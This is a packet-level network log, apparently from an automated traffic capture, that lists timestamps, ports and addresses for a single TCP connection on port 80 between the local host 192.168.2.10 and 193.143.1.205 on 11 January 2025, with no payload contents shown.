Jan 11, 2025 06:43:22.569629908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.569649935 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569664955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569679976 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569694996 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569710970 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.569710970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.569750071 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570388079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570405006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570427895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570441961 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570466042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570468903 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570468903 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570482016 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570497990 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570513010 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570513010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570537090 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570609093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570626974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570641994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570658922 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.570662975 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.570686102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.571398020 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.571420908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.571441889 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.571470022 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.571487904 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.575129986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.575170040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.575210094 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.575226068 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.575238943 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.575279951 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.575309992 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.579401970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.587532043 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587569952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587584972 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587608099 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587618113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.587625980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587631941 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.587666988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587668896 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.587694883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587708950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587754965 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.587760925 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587775946 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.587822914 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.589927912 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.609195948 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.614322901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.614346981 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.614362955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.614397049 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.614440918 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.614924908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.652852058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652884960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652901888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652924061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652946949 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652951956 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.652970076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.652976990 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.652992964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653007984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653023005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653027058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.653047085 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.653086901 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653103113 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653117895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653127909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.653182030 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.653191090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653223038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653238058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.653261900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.691704988 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691760063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691761971 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.691795111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691828966 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.691852093 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691884041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691899061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691914082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691920042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.691934109 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.691947937 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.691987038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692002058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692027092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692034960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692059040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692068100 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692074060 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692089081 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692105055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692109108 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692121029 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692148924 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692158937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692173958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692195892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692222118 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692257881 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692260027 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692349911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692387104 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692404032 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692511082 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692543983 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692565918 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692589045 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692625046 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692667007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692704916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692744970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692748070 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692817926 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692831993 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692847013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692857981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692898035 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.692923069 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692938089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692953110 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692966938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.692972898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693001032 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693062067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693077087 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693099022 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693113089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693115950 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693129063 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693144083 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693147898 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693177938 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693258047 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693274021 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693289042 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693304062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693309069 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693334103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693337917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693352938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693367958 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693382978 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693398952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693420887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693440914 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693458080 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693480015 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693495035 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693500042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693519115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693531036 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693533897 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693552971 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693567038 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693568945 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.693583965 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.693607092 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698021889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698219061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698247910 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698265076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698272943 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698287964 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698297024 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698306084 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698327065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698343039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698352098 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698357105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698373079 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698379040 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698390007 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698405981 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698430061 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698443890 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698460102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698467970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698476076 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698507071 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698852062 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698868036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698884010 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698889017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698899984 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698915005 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698920012 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698930025 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698947906 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.698956013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.698976040 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699002028 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699012995 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699018002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699035883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699039936 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699049950 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699069023 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699405909 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699421883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699438095 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699445009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699461937 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699476957 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699477911 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699492931 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699507952 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699521065 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699537039 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699539900 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699553013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699568033 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699575901 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699590921 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699603081 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699606895 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699621916 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699636936 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699645996 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.699654102 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.699675083 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.708501101 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739639044 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739674091 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739695072 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739696980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739726067 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739737988 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739742041 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739768982 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739775896 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739784956 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739809036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739823103 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739833117 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739860058 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739864111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739880085 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739897013 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739914894 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739923954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739938974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739953995 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739958048 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.739969969 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739988089 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.739989042 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.740035057 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.740035057 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.740052938 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.740070105 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.740084887 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778564930 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778599977 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778609037 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778624058 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778639078 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778655052 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778666019 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778670073 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778687000 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778696060 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778728962 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778750896 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778760910 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778765917 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778781891 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778796911 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778798103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778814077 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778817892 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778831959 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778852940 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778892994 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778928041 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778930902 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778947115 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.778980017 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.778999090 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779015064 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779046059 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779057980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779081106 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779095888 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779114008 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779149055 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779165030 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779180050 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779184103 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779212952 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779234886 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779249907 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779263973 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779285908 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779297113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779299974 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779321909 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779328108 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779345036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779366970 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779433966 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779448986 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779464006 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779472113 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779480934 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779495955 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779495955 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779512882 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779536009 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779556036 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779592037 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779663086 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779680014 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779695034 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779709101 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779723883 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779728889 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779742002 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779745102 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779776096 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779822111 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779835939 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779850960 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779865980 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779881954 CET	80	49722	193.143.1.205	192.168.2.10
Jan 11, 2025 06:43:22.779882908 CET	49722	80	192.168.2.10	193.143.1.205
Jan 11, 2025 06:43:22.779897928 CET	80	49722	193.143.1.205	192.168.2.10
